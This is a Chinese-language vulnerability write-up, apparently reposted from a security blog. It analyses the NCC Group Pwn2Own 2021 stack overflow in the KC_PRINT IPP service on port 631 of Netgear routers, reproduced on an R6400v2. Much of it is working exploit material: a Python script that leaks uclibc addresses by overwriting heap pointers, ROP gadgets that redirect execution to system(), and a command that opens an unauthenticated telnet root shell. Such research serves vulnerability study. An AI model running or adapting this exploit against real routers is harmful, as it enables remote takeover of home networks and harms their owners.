前几天 sectoday 推了一个关于 NCC 研究员参加 Pwn2Own Austin 2021 比赛攻破路由器、NAS、打印机的技术细节分享
的推送。
其中有一个篇章是讲 Netgear R6700 Router 的, 恰好我上上篇分享的文章 PSV-2020-0437:Buffer-Overflow-on-Some-Netgear-Routers 所使用的路由器型号以及固件版本也在该漏洞影响范围之内。因此打算分析这个漏洞,并自己写一下这个漏洞的 exploit 。
注:
分析以及利用的路由器型号为: R6400v2 , 固件版本为:V1.0.4.102_10.0.75
漏洞分析
通过 slide 可以得知, nccgroup 所发现的漏洞在 KC_PRINT
这个程序里,所攻击端口为 631
端口。 根据我浅薄的知识,第一反映这是一个和 IPP (Internet Printing Protocol,缩写IPP, 是一个用于通过互联网打印文件的标准网络协议) 有关的程序。 在后面的进一步分析的过程中,确实验证了我的猜想。
KC_PRINT
使用不同的线程来处理不同的功能,
而该漏洞是发生在 ipp_server
线程里面的。 其大致入口代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
if ( setsockopt(fd, 1, 2, &optval, 4u) < 0 ) { perror("ipp_server: setsockopt SO_REUSEADDR failed"); close(fd); pthread_attr_destroy(&attr); pthread_exit(0); } s.sa_family = 2; *(_DWORD *)&s.sa_data[2] = htonl(0); *(_WORD *)s.sa_data = htons(631u); if ( bind(fd, &s, 0x10u) < 0 ) // 在 631 端口监听 ... listen(fd, 128); while ( flag ) { newfd = accept(fd, &addr, &addr_len); if ( newfd >= 0 ) { sub_A0FC(1); v1[0] = 60; v1[1] = 0; if ( setsockopt(newfd, 1, 20, v1, 8u) < 0 ) perror("ipp_server: setsockopt SO_RCVTIMEO failed"); Fd = malloc(8u); if ( Fd ) { memset(Fd, 0, 8u); *Fd = newfd; pthread_mutex_lock(&stru_18B40); v6 = sub_16068(); if ( v6 < 0 ) { ... } else if ( pthread_create(&dword_18740[v6], &attr, do_ipp_http_thread, Fd) ) ... |
然后会进入到 do_ipp_http_thread
函数里, 该函数会进一步调用一个 do_http
的函数。 该函数用来处理对应的 IPP 协议的 HTTP 请求。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
memset(buf, 0, sizeof(buf)); n = recv_n(fd, buf, 1024); if ( n <= 0 ) return -1; if ( strstr(buf, "100-continue") ) { ... } HTTP_INPUT = strstr(buf, "POST /USB"); if ( !HTTP_INPUT ) return -1; HTTP_INPUT += 9; v18 = strstr(HTTP_INPUT, "_LQ"); if ( !v18 ) return -1; v13 = *v18; *v18 = 0; usblp_index = atoi(HTTP_INPUT); *v18 = v13; if ( usblp_index > 10 ) return -1; if ( !is_printer_connected(usblp_index) ) // 检查是否有打印机设备挂载 return -1; v22[1] = usblp_index; HTTP_INPUT = strstr(buf, "Content-Length: "); if ( !HTTP_INPUT ) { ... } HTTP_INPUT += 16; v18 = strstr(HTTP_INPUT, "\r\n"); if ( !v18 ) return -1; v13 = *v18; *v18 = 0; content_len = atoi(HTTP_INPUT); *v18 = v13; memset(recv_buf, 0, sizeof(recv_buf)); n = recv(fd, recv_buf, 8u, 0); if ( n != 8 ) return -1; if ( (recv_buf[2] || recv_buf[3] != 2) && (recv_buf[2] || recv_buf[3] != 6) ) { v14 = do_airippWithContentLength(v22, content_len, recv_buf); if ( v14 < 0 ) return -1; return 0; } |
首先 n = recv_n(fd, buf, 1024);
接收 1024 的消息,这一部分消息以 \r\n
作为结束标识, 然后会取出 Content-Length:
的值作为 content_len
传入 do_airippWithContentLength
函数中。
在调用 do_airippWithContentLength
函数之前, 还会读取一个 8 字节长度的消息
1 2 |
memset(recv_buf, 0, sizeof(recv_buf)); n = recv(fd, recv_buf, 8u, 0); |
该 8 字节长度的消息有一定的格式, 当满足 (recv_buf[2] || recv_buf[3] != 2) && (recv_buf[2] || recv_buf[3] != 6)
条件的时候才会调用 do_airippWithContentLength
函数。
且进入到 do_airippWithContentLength
函数后, 会根据这个 8 个字节长度的消息, 来决定进一步调用哪个函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
int __fastcall do_airippWithContentLength(int *a1, size_t content_len, const void *buf) { _BYTE *recv_buf; // [sp+18h] [bp-14h] int v8; // [sp+1Ch] [bp-10h] int Jobs; // [sp+24h] [bp-8h] v8 = *a1; recv_buf = malloc(content_len); if ( !recv_buf ) return -1; memcpy(recv_buf, buf, 8u); if ( toRead(v8, (recv_buf + 8), content_len - 8) >= 0 ) { if ( recv_buf[2] || recv_buf[3] != 11 ) { if ( recv_buf[2] || recv_buf[3] != 4 ) { if ( recv_buf[2] || recv_buf[3] != 8 ) { if ( recv_buf[2] || recv_buf[3] != 9 ) { if ( recv_buf[2] || recv_buf[3] != 10 ) { if ( recv_buf[2] || recv_buf[3] != 5 ) Jobs = sub_D0C8(a1, recv_buf); else Jobs = Response_Create_Job(a1, recv_buf, content_len); } else { Jobs = Response_Get_Jobs(a1, recv_buf, content_len); } } else { Jobs = Response_Get_Job_Attributes(a1, recv_buf, content_len); } } else { printf("Client %d: Cancel-Job\n", v8); Jobs = sub_10EA0(a1, recv_buf); } } |
例如此处, 如果我们想调用 Response_Get_Jobs
函数, 我们就得进一步满足 recv_buf[2] || recv_buf[3] == 10
的条件, 才能进到 Response_Get_Jobs
函数里。因此我们可以构造如下的消息:
b'\x00\x00\x00\x0a\x00\x00\x99\x99'
让其满足下标为 3 的时候 为 10
即可。
另外, 在 do_http
函数中有一个 if ( !is_printer_connected(usblp_index) ) // 检查是否有打印机设备挂载
的判断,该函数会读取 /proc/printer_status
的内容来判断是否有打印机挂载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
if ( printer_status ) { fd = open("/proc/printer_status", 0); if ( fd > 0 ) { memset(printer_status, 0, 0x400u); v7 = read(fd, printer_status, 0x400u); close(fd); if ( v7 > 0 ) { *(printer_status + v7) = 0; memset(s, 0, sizeof(s)); snprintf(s, 0x10u, "usblp%d", usblp_index - 1); v7 = strstr(printer_status, s) != 0; free(printer_status); printer_status = 0; return v7; } else { ... } } |
这里我没有挂载打印机,因此我通过 gdb 来绕过这个判断。
此时已经进到 do_airippWithContentLength
函数, 该函数会进一步根据 content-len - 8
读取后续的更多消息内容。而这个 content-len
是没有进行长度检查的,这里以 Response_Get_Jobs
函数为例, 来做进一步的分析。
在 Response_Get_Jobs
中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
flag1 = 0; prefix_size = 0x4A; prefix_ptr = malloc(0x4Au); if ( !prefix_ptr ) { perror("Response_Get_Jobs: malloc xx"); return -1; } memset(prefix_ptr, 0, prefix_size); cnt = memcpy_n(prefix_ptr, total, &recv_buf[offset], 2u); total += cnt; if ( *recv_buf == 1 && !recv_buf[1] ) flag1 = 1; offset += 2; *(prefix_ptr + total++) = 0; *(prefix_ptr + total++) = 0; offset += 2; total += memcpy_n(prefix_ptr, total, &recv_buf[offset], 4u); offset += 4; v12 = 66; cnt = memcpy_n(prefix_ptr, total, &unk_1823C, 0x42u); total += cnt; ++offset; // offest == 09 memset(v9, 0, sizeof(v9)); memset(buf_2048, 0, sizeof(buf_2048)); buf_2048[subffix_offset++] = 5; if ( !flag1 ) { while ( recv_buf[offset] != 3 && offset <= content_len ) { if ( recv_buf[offset] == 0x44 && !flag2 ) { flag2 = 1; buf_2048[subffix_offset++] = 68; copy_len = (recv_buf[offset + 1] << 8) + recv_buf[offset + 2]; cnt = memcpy_n(buf_2048, subffix_offset, &recv_buf[offset + 1], copy_len + 2); subffix_offset += cnt; } ++offset; // offset=10 copy_len = (recv_buf[offset] << 8) + recv_buf[offset + 1]; offset += 2 + copy_len; // offset 12 copy_len = (recv_buf[offset] << 8) + recv_buf[offset + 1]; offset += 2; // offset 14 if ( flag2 ) { memset(command, 0, sizeof(command)); memcpy(command, &recv_buf[offset], copy_len); if ( !strcmp(command, "job-media-sheets-completed") ) |
存在一个缓冲区溢出:
1 2 3 4 |
if ( flag2 ) { memset(command, 0, sizeof(command)); memcpy(command, &recv_buf[offset], copy_len); |
此处的 copy_len
是完全可控的, 且 buf_2048
在栈上, 我们只需让 flag1
不等于1 , flag2
等于 1 ,就能进入到这个分支, 即满足 *recv_buf == 1 && !recv_buf[1]
且 recv_buf[offset] == 0x44
条件即可。
利用编写
该程序保护都没有开启
1 2 3 4 5 6 7 8 9 |
pwndbg> checksec [*] '/workhub/Dropbox/Attachments/IoT and BaseBand/Router/Netgear/R6400v2/fs/squashfs-root/usr/bin/KC_PRINT' Arch: arm-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8000) pwndbg> |
既没有 canary
也没有 PIE
, 这极大的方便了我们的漏洞利用。
系统随机化开启情况:
1 2 |
# cat /proc/sys/kernel/randomize_va_space 1 |
ASLR
等级为 1, 即栈和共享库是完全随机的, 但是堆的分配不随机。
我们的目的是通过这个栈溢出漏洞, 来达到任意命令执行的目的。我们检索这个程序,发现程序里并没有现成的 system
或者 popen
函数,因此 ret2system
的方法并不能直接使用, 因此我们需要绕过随机化,需要泄漏 uclibc
中的 system
地址, 因此首先需要一个信息泄漏的方法,来 leak uclibc
的加载基址。
Bypass ASLR
其实一般这种思路, 我们可以通过 ROP , 调用 write
等函数读取 got
表中的值来做 uclibc
的地址。 但是这个方法我们可能需要知道我们当前链接的 fd
。如果不知道 fd
, 我们可能需要爆破这个, 但由于这个程序是多线程而不是父子进程的形式, 如果失败可能会造成 crash。
进一步分析函数, 以及阅读 slide ,我们发现程序中有一个可以做任意地址读写的方法。
我们可以通过栈溢出, 来覆盖 prefix_ptr
和 prefix_size
通过控制这两个变量,我们就可以通 write_ipp_response
将我们想读取的内容发送回来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
char command[64]; // [sp+24h] [bp-1090h] BYREF char buf_2048[2048]; // [sp+64h] [bp-1050h] BYREF char v9[2048]; // [sp+864h] [bp-850h] BYREF int v10; // [sp+1064h] [bp-50h] size_t copy_len; // [sp+1068h] [bp-4Ch] int v12; // [sp+106Ch] [bp-48h] size_t cnt; // [sp+1070h] [bp-44h] size_t prefix_size; // [sp+1074h] [bp-40h] int total; // [sp+1078h] [bp-3Ch] void *prefix_ptr; // [sp+107Ch] [bp-38h] int v17; // [sp+1080h] [bp-34h] int client_sock; // [sp+1084h] [bp-30h] int v19; // [sp+1088h] [bp-2Ch] int v20; // [sp+108Ch] [bp-28h] char flag1; // [sp+1093h] [bp-21h] char v22; // [sp+1094h] [bp-20h] char job_state_resons; // [sp+1095h] [bp-1Fh] char job_state; // [sp+1096h] [bp-1Eh] char job_originating_user_name; // [sp+1097h] [bp-1Dh] char job_name; // [sp+1098h] [bp-1Ch] char job_id; // [sp+1099h] [bp-1Bh] char v28; // [sp+109Ah] [bp-1Ah] char flag2; // [sp+109Bh] [bp-19h] size_t final_size; // [sp+109Ch] [bp-18h] int offset; // [sp+10A0h] [bp-14h] size_t response_len; // [sp+10A4h] [bp-10h] void *final_ptr; // [sp+10A8h] [bp-Ch] size_t subffix_offset; // [sp+10ACh] [bp-8h] |
最首先的想法肯定是通过覆盖 prefix_ptr
指向 .got
来做读写, 但是如果我们直接的指向了函数的 .got
, 例如 strcpy_ptr
1
|
.got:000180F0 strcpy_ptr DCD __imp_strcpy ; DATA XREF: strcpy+8
|
但是在调用 write_ipp_response
后, 程序会 free(prefix_ptr);
1 2 3 4 5 6 |
v10 = write_ipp_response(client_sock, final_ptr, response_len); if ( prefix_ptr ) { free(prefix_ptr); prefix_ptr = 0; } |
如果是直接控制 prefix_ptr == 000180F0
, 在 free
的过程中会造成崩溃。 最后我们发现当把 prefix_ptr
指向 .got
的开头
1 2 3 4 |
.got:000180E4 ; sub_8C0C+8↑o ... .got:000180E8 DCD 0 .got:000180EC off_180EC DCD 0 ; DATA XREF: sub_8C0C+C↑r .got:000180F0 strcpy_ptr DCD __imp_strcpy ; DATA XREF: strcpy+8↑r |
即将 prefix_ptr
指向 000180E4
是不会崩溃的。
这里和 小伙伴 @aobo @leomxxj 讨论来下 , 猜测应该是如果是 free(0x000180EC) , 当 uclibc 会对 libc 的地址写, 造成 crash
如果 free(0x00180E4)pwndbg> telescope 0x000180E4
00:0000│ 0x180e4 —▸ 0x1800c ◂— 0x1
01:0004│ 0x180e8 —▸ 0x40024030 ◂— 0x0
pwndbg> vmmap 0x1800c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x18000 0x19000 rw-p 1000 10000 /usr/bin/KC_PRINT +0xc
0x1800c 地址是可读写的
另外在编写这部分 exploit 的时候, 我们发现处理 recv_buf
消息的时候
1 2 3 4 5 6 |
if ( !flag1 ) { while ( recv_buf[offset] != 3 && offset <= content_len ) { if ( recv_buf[offset] == 0x44 && !flag2 ) { |
这部分是一个 while
循环,只有当消息为 \x03
的时候, 才会结束循环, 因此我们需要 offset
设置好,
1 2 3 4 5 |
offset += copy_len; .text:00010A30 LDR R2, [R11, .text:00010A34 LDR R3, [R11,#copy_len] .text:00010A38 ADD R3, R2, R3 .text:00010A3C STR R3, [R11,#-0x14] |
结束循环到 write_ipp_response
函数之前 ,我们还需要过两个地方, 第一个处, 为了方便我们在 command
前设置一个 job-id
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
offset += 2; // offset 14 if ( flag2 ) { memset(command, 0, sizeof(command)); memcpy(command, &recv_buf[offset], copy_len); if ( !strcmp(command, "job-media-sheets-completed") ) { v22 = 1; } else if ( !strcmp(command, "job-state-reasons") ) { job_state_resons = 1; } else if ( !strcmp(command, "job-name") ) { job_name = 1; } else if ( !strcmp(command, "job-originating-user-name") ) { job_originating_user_name = 1; } else if ( !strcmp(command, "job-state") ) { job_state = 1; } else if ( !strcmp(command, "job-id") ) { job_id = 1; } else { if ( v28 ) { buf_2048[subffix_offset++] = 68; buf_2048[subffix_offset++] = 0; buf_2048[subffix_offset++] = 0; } cnt = memcpy_n(buf_2048, subffix_offset, &recv_buf[offset - 2], copy_len + 2); subffix_offset += cnt; v28 = 1; } } offset += copy_len; } } final_size += prefix_size; if ( flag1 ) v20 = sub_11D68(v17, 1, 1, 1, 1, 1, 1, v9); else v20 = sub_11D68(v17, job_id, job_name, job_originating_user_name, job_state, job_state_resons, v22, v9); if ( v20 > 0 ) |
第二处 final_ptr = malloc(++final_size);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
LABEL_54: *(final_ptr + response_len++) = 3; v10 = write_ipp_response(client_sock, final_ptr, response_len); if ( prefix_ptr ) { free(prefix_ptr); prefix_ptr = 0; } if ( final_ptr ) { free(final_ptr); final_ptr = 0; } if ( v10 ) return -1; else return 0; } final_ptr = malloc(++final_size); if ( final_ptr ) { memset(final_ptr, 0, final_size); cnt = memcpy_n(final_ptr, response_len, prefix_ptr, prefix_size); response_len += cnt; goto LABEL_54; } |
我们得让 final_size
的值不能太大,不然分配不出来程序就不会走到 write_ipp_response
里,
1 2 3 4 5 6 7 |
.text:00010D78 loc_10D78 ; CODE XREF: Response_Get_Jobs+868↑j .text:00010D78 LDR R3, [R11,#-0x18] .text:00010D7C ADD R3, R3, #1 .text:00010D80 STR R3, [R11,#-0x18] .text:00010D84 LDR R3, [R11,#-0x18] .text:00010D88 MOV R0, R3 ; size .text:00010D8C BL malloc |
即需要设置 [R11, #-0x18]
的值, 这是在栈上的。 最后我 leak 的代码大致如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
def leak_uclibc(): # recv_buf[2] || recv_buf[3] == 10 recv_buf1 = b'\x00\x00\x00\x0a\x00\x00\x99\x99' recv_buf2 = b'\x00\x44\x00\x00\x10\x5d' # 0x1050 is copy_len -> memcpy(command, &recv_buf[offset], copy_len); recv_buf2 += b'job-id\x00\x00' junkdata = cyclic(0x104c , n=4) junkdata = bytearray(junkdata) junkdata[1026: 1026+ len(cmd)] = cmd junkdata[0x103c: 0x103c + 4] = p32(0x106a-0xe) # finish flag offset junkdata[0x1048: 0x1048 + 4] = p32(0x20) # malloc size - > final_ptr = malloc(++final_size); junkdata = bytes(junkdata) recv_buf2 += junkdata recv_buf2 += p32(20) # overwrite prrefix_size recv_buf2 += p32(0x180E4) # overwrite prefix_ptr -> .got start address then free is alive recv_buf2 += b'\x03' payload = b'POST /USB1_LQ\r\n' payload += b'Content-Length: %b\r\n' % str(len(recv_buf1 + recv_buf2)).encode('latin1') payload += b'\r\n' p = remote("192.168.1.1", 631) p.send(payload) p.send(recv_buf1) p.send(recv_buf2) p.recvuntil(b'\r\n\r\n') p.recvn(8) _dl_linux_resolve = u32(p.recvn(4)) print('_dl_linux_resolve : {:#x}'.format(_dl_linux_resolve)) ld_uClibc = _dl_linux_resolve - 0x3e70 print('ld_uClibc : {:#x}'.format(ld_uClibc)) p.recvn(4) printf_addr = u32(p.recvn(4)) print('printf : {:#x}'.format(printf_addr)) uClibc = printf_addr - 0x360e0 print('uClibc : {:#x}'.format(uClibc)) # system = uClibc + +0x90f4 # system offset # print('system : {:#x}'.format(system)) return ld_uClibc, uClibc |
Leak:
1 2 3 4 5 6 |
$ python3 exp_ncc_netgear_ipp.py [+] Opening connection to 192.168.1.1 on port 631: Done _dl_linux_resolve : 0x40021e70 ld_uClibc : 0x4001e000 printf : 0x401700e0 uClibc : 0x4013a000 |
Arbitrary command execution
通过泄漏 uclibc 的地址, 然后可以计算 system
的地址。 然后我们就可以进一步做劫持返回地址工作。首先我们需要有个一个地址来存储我们 system
将执行的字符串。 回顾上文, 我们提及到了系统的随机化等级为 1
。
系统随机化开启情况:
1 2 |
# cat /proc/sys/kernel/randomize_va_space 1 |
因此我们可以在堆上查找是否有可控的内容, 通过 hexdump
查找。
我们发现我们的 payload 会存储在 堆上, 因此 , 我们可以将要执行的命令, 在第一次链接的时候 , 就将命令写入。
1 2 3 4 5 6 7 |
cmd = b'/bin/utelnetd -p 3343 -l /bin/ash \x00' cmd = b'/bin/touch /tmp/hacked' cmd += b"\x00" * (len(cmd) % 4) def leak_uclibc(): ... junkdata[1026: 1026+ len(cmd)] = cmd |
在覆盖返回地址之前 , 除了在 leak 需要注意的那几个变量以外 ,我们还需要单独注意
- flag1
- v17
- response_len
等变量的值, 要单独重新赋值。
最后我们需要将 R0
的值指向堆上的 0x1b880
地址。 所以我们需要单独几个 gadget
, 这里我使用的是两个 gadget
。
首先通过第一个 gadget
控制 R3
为 0x1b880
1
|
0x00001504 : pop {r3, r4, fp, pc}
|
然后通过 第二个 gadget
将 R3
的值赋值给 R0
并且控制 PC 跳转到 system
函数上,从而完成任意命令执行。
1
|
0x00000a80 : mov r0, r3 ; pop {fp, pc}
|
最后就可以完成任意命令执行了。
参考链接
原文始发于SWING:Nccgroup Pwn2Own 中攻破 Netgear R6700路由器的漏洞分析